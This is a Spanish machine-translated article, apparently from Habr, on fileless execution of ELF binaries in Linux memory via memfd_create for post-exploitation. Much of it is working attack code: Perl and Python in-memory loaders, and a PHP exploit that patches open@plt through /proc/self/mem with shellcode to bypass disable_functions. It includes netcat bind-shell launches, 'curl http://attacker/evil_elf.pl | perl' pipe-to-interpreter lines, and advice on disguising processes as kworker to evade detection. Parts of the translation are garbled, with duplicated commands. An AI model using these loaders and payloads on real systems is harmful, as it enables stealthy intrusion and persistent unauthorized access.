Elfos en la memoria. Ejecutando ELF en Linux RAM


La distribución de malware sin archivos está ganando popularidad. Lo cual no es sorprendente, porque el trabajo de tales programas prácticamente no deja rastro. En este artículo no tocaremos la técnica de ejecutar programas en la memoria de Windows. Nos centramos en GNU / Linux. Linux domina legítimamente el segmento de servidores, vive en millones de dispositivos integrados y proporciona la gran mayoría de los recursos web. A continuación, haremos una breve revisión de las posibilidades de ejecutar programas en la memoria y demostraremos que esto es posible incluso en condiciones difíciles.


Las técnicas de ejecución sin archivos son secretas; es extremadamente difícil detectar y rastrear su uso. Las herramientas de control de integridad del sistema de archivos no avisarán al administrador, ya que no se realizan operaciones de escritura en el disco o cambios en el archivo en el disco. El software antivirus (a menudo descuidado por los usuarios de * nix) a menudo no supervisa la memoria del programa después del inicio. Además, en muchas distribuciones de GNU / Linux, inmediatamente después de la instalación, hay disponible una amplia gama de diversas utilidades de depuración, intérpretes, compiladores de lenguajes de programación y bibliotecas. Todo esto crea excelentes condiciones para usar técnicas de ejecución encubierta de programas sin archivos. Pero además de las ventajas de su uso, también hay desventajas: estos programas no sobreviven al apagón o al reinicio del host de destino. Pero mientras el host se está ejecutando, el programa funciona.


Dichas técnicas pueden y deben usarse no solo para la distribución de malware. Si la velocidad de ejecución de su programa es crítica para usted, descárguela en la RAM. En realidad, muchas distribuciones de Linux se sienten bien cuando se ejecutan por completo en RAM, lo que le permite trabajar con discos duros sin guardar ningún archivo en ellos. Desde el punto de vista de la auditoría de seguridad de la información, los métodos de ejecución encubierta de programas son muy útiles como una etapa de post-operación y reconocimiento dentro del perímetro de la red objetivo. Especialmente si el secreto máximo es una de las condiciones de auditoría.
Según el portal barkly.com en 2018, ya el 35% de los ataques de virus ocurren en software malicioso que se ejecuta en la memoria.


En el caso de Windows, los ciberdelincuentes utilizan activamente el sistema Powershell preinstalado para descargar y ejecutar el código de inmediato. Estas técnicas son ampliamente utilizadas, entre otras cosas, gracias a su implementación en marcos como Powershell Empire, Powersploit y Metasploit Framework.


¿Qué hay de Linux?


En la mayoría de los casos, las distribuciones de Linux instaladas en los hosts tienen un conjunto de software preinstalado. Fuera de la caja, por regla general, hay intérpretes de lenguajes de programación disponibles: compilador Python, Perl, C. PHP está presente en los sitios de alojamiento en el apéndice. Esta condición proporciona la capacidad de ejecutar código usando estos lenguajes.


En Linux, tenemos varias opciones bien conocidas para ejecutar código en la memoria.
La forma más fácil es usar el área de memoria compartida premontada en el sistema de archivos.


Al colocar el archivo ejecutable en el directorio / dev / shm o / run / shm, es posible ejecutarlo directamente en la memoria, dado que estos directorios no son más que una memoria de acceso aleatorio montada en el sistema de archivos. Pero se pueden ver con ls como cualquier otro directorio. Y como regla general, estos directorios se montan con el indicador noexec, y la ejecución de programas en estos directorios solo está disponible para el superusuario. Entonces, para ser un poco más discreto, necesitas algo más.


Más notable es la llamada al sistema memfd_create (2) . Esta llamada al sistema funciona aproximadamente como malloc (3) , pero no devuelve un puntero a un área de memoria, sino un descriptor de archivo a un archivo anónimo, que es visible en el sistema de archivos solo como un enlace en /proc/PID/fd/ , mediante el cual puede ejecutarse usando execve (2).
Esto es lo que dice la página del manual para usar la llamada al sistema memfd_create (en ruso) :


"El nombre especificado en el name se usa como el nombre del archivo y se mostrará como el objetivo del enlace simbólico correspondiente en el directorio. /proc/self/fd/ . El nombre para mostrar siempre comienza con memfd: y es solo para depuración. Los nombres no afectan el comportamiento del archivo "descriptor y, por lo tanto, varios archivos pueden tener el mismo nombre sin ninguna consecuencia".


Un ejemplo de uso de memfd_create() para el lenguaje C:


 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

El código anterior usa memfd , crea un proceso secundario, dirige su salida a un archivo temporal, espera a que se complete el proceso secundario y lee su salida del archivo temporal. Por lo general, la canalización "|" se usa para redirigir la salida de un programa a la entrada de otro en * nix.


La capacidad de usar syscall() también está disponible en lenguajes interpretados como perl, python, etc. Luego, consideramos uno de los escenarios posibles y demostramos la capacidad de cargar archivos ejecutables en la memoria usando memfd_create() .


Perl


Supongamos que tenemos un punto de entrada en forma de inyección de comando.
Necesitamos una forma de hacer llamadas al sistema en el sistema de destino.
En perl, la función syscall () nos ayudará con esto.
También necesitaremos una forma de escribir nuestro ELF directamente en la memoria como el contenido de un archivo anónimo.
Para hacer esto, colocaremos nuestro ELF directamente en el cuerpo del script, que a su vez se transferirá al sistema de destino a través de la inyección de comando disponible. Alternativamente, también puede descargar el archivo ejecutable a través de la red.
Pero antes de eso vale la pena hacer una reserva. Necesitamos conocer la versión del kernel de Linux en el host de destino, ya que la llamada al sistema memfd_create() requerida está disponible solo desde la versión 3.17 y superior.


Echemos un memfd_create() más de cerca a memfd_create() y execve()


Para nuestro archivo anónimo, utilizaremos la constante MFD_CLOEXEC , que "establece el indicador close-on-exec (FD_CLOEXEC) para un nuevo descriptor de archivo abierto". Esto significa que nuestro descriptor de archivo se cerrará automáticamente después de ejecutar nuestro ELF usando execve()


Como usaremos la función syscall() del lenguaje Perl, necesitaremos valores numéricos para llamar a nuestra llamada al syscall y su parámetro.
Puede encontrarlos en /usr/include o en Internet. El número de llamada del sistema se puede encontrar en #define comenzando con __NR_
En nuestro caso, memfd_create() está numerado 319 para un sistema operativo de 64 bits. Y la constante es FD_CLOSEXEC 0x0001U (es decir, 1 en el linux/memfd.h )


Ahora tenemos todos los valores numéricos necesarios, y podemos escribir en Perl un análogo de memfd_create(name, MFD_CLOEXEC) de C.
También necesitaremos un nombre de archivo que se mostrará en /memfd:
Será óptimo elegir un nombre similar a [:kworker] u otro, sin causar sospechas.
Por ejemplo, pasaremos una cadena vacía al parámetro de nombre:


 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

Ahora tenemos el descriptor de archivo anónimo en $ fd y necesitamos escribir el ELF en este archivo.
La función open () en perl generalmente se usa para abrir archivos, pero usando la construcción >&=FD , pasando el descriptor a esta función en lugar del nombre del archivo, convertimos el descriptor de archivo ya abierto en un controlador de archivo.
autoflush[] también nos sería útil:


 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

Ahora tenemos un identificador que se refiere a un archivo anónimo.


A continuación, debemos convertir nuestro archivo ejecutable en datos que se puedan colocar en el cuerpo de un script Perl.
Para hacer esto, realizamos:


 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

Tenemos muchas, muchas líneas similares:


 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

Habiéndolos ejecutado, guardaremos nuestro archivo ejecutable en la memoria. Todo lo que nos queda es lanzarlo.


tenedor ()


Opcionalmente podemos usar fork () . Esto no es necesario en absoluto. Pero si queremos no solo ejecutar ELF y matar el proceso, tendremos que usar fork() .
En general, crear un proceso hijo en perl se parece a esto:


 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

La utilidad de fork() también fork() en el hecho de que al llamarlo junto con setsid (2) , puede separar el proceso hijo del proceso padre y dejar que el padre termine:


 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

Ahora podemos ejecutar ELF en muchos procesos.


Execve ()


Execve () es una llamada al sistema que nos permite ejecutar un programa. Perl nos proporciona una funcionalidad similar a través de la función Exec () , que funciona igual que la llamada al sistema mencionada anteriormente, pero tiene una sintaxis mucho más simple y conveniente.
Necesitamos pasar dos cosas a exec() : el archivo que queremos ejecutar (nuestra memoria ELF previamente cargada) y el nombre del proceso como uno de los argumentos pasados. Por lo general, el nombre del proceso corresponde al nombre del archivo ejecutable. Pero como veremos /proc/PID/fd/3 en la lista de procesos, llamaremos a nuestro proceso otra cosa.
La sintaxis para exec() siguiente:


 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

El ejemplo anterior inicia Netcat. Pero nos gustaría lanzar algo un poco menos como una puerta trasera.
El proceso en ejecución no tendrá un enlace al archivo anónimo en /proc/PID/fd , pero siempre podemos encontrar nuestro ELF en el enlace /proc/PID/exe , que apunta al archivo del proceso en ejecución.
Así que lanzamos ELF en la memoria de Linux, sin tocar el disco e incluso el sistema de archivos.
Es posible descargar nuestro archivo ejecutable al sistema de destino de forma rápida y conveniente, por ejemplo, pasando un script al intérprete de Perl, en cuyo cuerpo colocamos ELF y lo colocamos en un alojamiento web externo: $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl


Pitón


Similar a la opción Perl, debemos hacer lo siguiente:


  • usando la llamada al sistema memfd_create (), cree un archivo anónimo en la memoria
  • escribe ELF ejecutable en este archivo
  • ejecutarlo y opcionalmente ejecutarlo varias veces con fork ()

 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

En el caso de python, para llamar a syscall necesitamos el módulo estándar ctypes y os para escribir y ejecutar el archivo y controlar el proceso. Todo es completamente análogo a la versión perl.
En el código anterior, escribimos en el archivo un archivo ubicado previamente en el /tmp/ . Sin embargo, nada nos impide descargar el archivo del servidor web.


Php


En esta etapa, ya podemos usar perl y python. Los intérpretes de estos idiomas se instalan de manera predeterminada en muchos sistemas operativos. Pero lo más interesante, como siempre, está por delante.
Si, por alguna razón, los intérpretes de Perl o Python no están disponibles para nosotros, sería genial usar PHP. Este lenguaje es muy popular entre los desarrolladores web. Y si ya encontramos la capacidad de ejecutar código en una aplicación web, es muy probable que el intérprete de PHP nos conozca.


Desafortunadamente, php no tiene mecanismos incorporados para llamar a syscall .
Nos encontramos con una publicación de Beched'a en el foro rdot (¡Gracias Beched!), Que sobrescribe la llamada de la función open al system través de procfs /proc/self/mem en la memoria del proceso actual y omite disable_functions .
Utilizamos este truco para reescribir la función en nuestro código, lo que provocará las llamadas necesarias al sistema.
Pasaremos syscall al intérprete php en forma de shellcode en el ensamblador.
Las llamadas al sistema deberán pasarse a través de una secuencia de comandos.
Comencemos a escribir un script PHP. Lo siguiente será mucha magia.


Primero, denotamos los parámetros necesarios:


  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

Denote el cambio: los valores superior e inferior en la memoria, donde luego colocaremos nuestro shellcode:


  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

Luego está la función por la cual el archivo binario es "desempaquetado". Para hacer esto, convertimos los datos binarios en una representación decimal usando la función hexdex () de los datos binarios bin2hex () en el orden inverso (para almacenamiento):


 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

A continuación, el archivo ELF se analiza para obtener compensaciones:


 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

Además, mostramos información sobre la versión instalada de PHP:


 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

Verificamos la profundidad de bits del sistema operativo y la versión del kernel de Linux:


 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

Para eludir las restricciones de disable_functions , el script reescribe la dirección de la función open@plt sobre la marcha. Hicimos algunas adiciones al código beched'a, y ahora podemos poner nuestro código shell en la memoria.


Primero necesita encontrar el cambio en el archivo binario del intérprete PHP, para esto recurrimos a /proc/self/exe y analizamos el archivo ejecutable usando la función parseelf() descrita anteriormente:


 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

Encuentre la dirección de la función open() :


 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

Ahora puede ir directamente a descargar nuestro archivo ejecutable.
Primero, cree un archivo anónimo:


 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

Escribimos la carga en un archivo anónimo:


 fwrite($fp, $elf); 

Estamos buscando el número de descriptor de archivo:


 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

A continuación, escribimos la ruta al archivo ejecutable en la pila:


 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

Y los argumentos para ejecutar pasaron al ejecutable:


 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

Luego, al llamar a fork() , ejecutamos nuestra carga útil:


 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

Shellcode


Shellcode generalmente significa una secuencia de bytes que se almacenan en la memoria y luego se ejecutan, generalmente en el contexto de otro programa, utilizando ataques de desbordamiento de búfer y otros. En nuestro caso, el shellcode no nos devuelve el símbolo del sistema del servidor remoto (en realidad Shell), pero nos permite ejecutar los comandos que necesitamos.


Para obtener la secuencia de bytes requerida, puede escribir el código C, luego traducirlo al lenguaje ensamblador o escribir el lenguaje ensamblador desde cero.


Veamos qué se esconde detrás de la secuencia de bytes de los listados anteriores.


 push 57 pop rax syscall test eax, eax jnz quit 

El lanzamiento de nuestro programa comienza con c fork . 57 es el valor numérico del identificador de llamada del sistema para sistemas de 64 bits. La tabla se puede encontrar aquí .


A continuación, llamamos setsid (identificador numérico 112) para convertir el proceso hijo al padre:


 push 112 pop rax syscall 

Luego haz otro fork :


 push 57 pop rax syscall test eax, eax jnz quit 

Luego ejecute el familiar execve() :


 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

Y terminamos el proceso con exit() (60):


 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

Por lo tanto, reemplazamos el código de función open () sobre la marcha. Nuestro archivo ejecutable se colocó en la memoria y se ejecutó por medio del intérprete PHP. Las llamadas al sistema se presentan como códigos de shell.


Metasploit framework


Como una compilación de las técnicas anteriores, hemos preparado un módulo para MSF .


Para agregarlo a Metasploit, simplemente copie el archivo del módulo en el directorio $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb y luego ejecute el comando reload_all en la consola del framework.
Para usar nuestro módulo, ingrese use post/linux/manage/download_exec_elf_in_memory (u otra ruta, dependiendo del directorio en el que se colocó el archivo del módulo)
Antes de usarlo, debe configurar las opciones necesarias. La lista de opciones se muestra con el comando show options .


ARGS - Argumentos para el ejecutable


FILE : ruta al archivo ejecutable. En nuestro caso, este es Netcat.


NAME es el nombre del proceso. Puedes llamarlo como quieras. Por ejemplo, en aras del sigilo, esto puede ser kworker: 1 bien, o con el fin de demostrar algo cómico, por ejemplo KittyCat


SESSION - sesión de meterpreter. Se entiende que este módulo se utilizará para fines posteriores a la operación.


A continuación, SRVHOST el SRVHOST en el que se SRVHOST el servidor http con nuestra carga y su puerto en las SRVPORT SRVHOST y SRVPORT respectivamente.


VECTOR : el método por el cual se logrará la ejecución del programa en la memoria, el parámetro es opcional, si está vacío, el script determinará la presencia de los intérpretes necesarios. PHP, Python o Perl son actualmente compatibles.


run usando el comando exploit o run



Funciona de la siguiente manera: indicamos la sesión deseada, puede ser meterpreter o un shell inverso normal. A continuación, indicamos la ruta local a nuestro duende, los argumentos y el nombre deseado en la lista de procesos. Después del comienzo, se lanzará un servidor web local para alojar la carga útil, y la sesión buscará "mecedoras", curl y wget son compatibles actualmente. Después de encontrar al menos uno de ellos, se buscarán todos los intérpretes si no hemos especificado en el parámetro VECTOR cuál necesitamos. Bueno, si tiene éxito, se ejecutará un comando para descargar la carga útil de nuestro servidor web y transferirla por conducto al intérprete deseado, es decir. algo así como $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl


En lugar de una conclusión.


La descarga sin archivos de archivos ELF en Linux es una técnica útil para las pruebas de penetración. Este es un método bastante silencioso que puede soportar una amplia gama de herramientas de protección antivirus, sistemas de monitoreo de integridad y sistemas de monitoreo que monitorean los cambios en el contenido del disco duro. De esta manera, puede mantener fácilmente el acceso al sistema de destino, mientras deja un mínimo de rastros.
En este artículo, utilizamos lenguajes de programación interpretados, a menudo instalados por defecto en distribuciones de Linux, firmware, enrutadores y dispositivos móviles. También me gustaría agradecer al autor de este artículo , que nos inspiró a esta revisión.

Source: https://habr.com/ru/post/es430902/


All Articles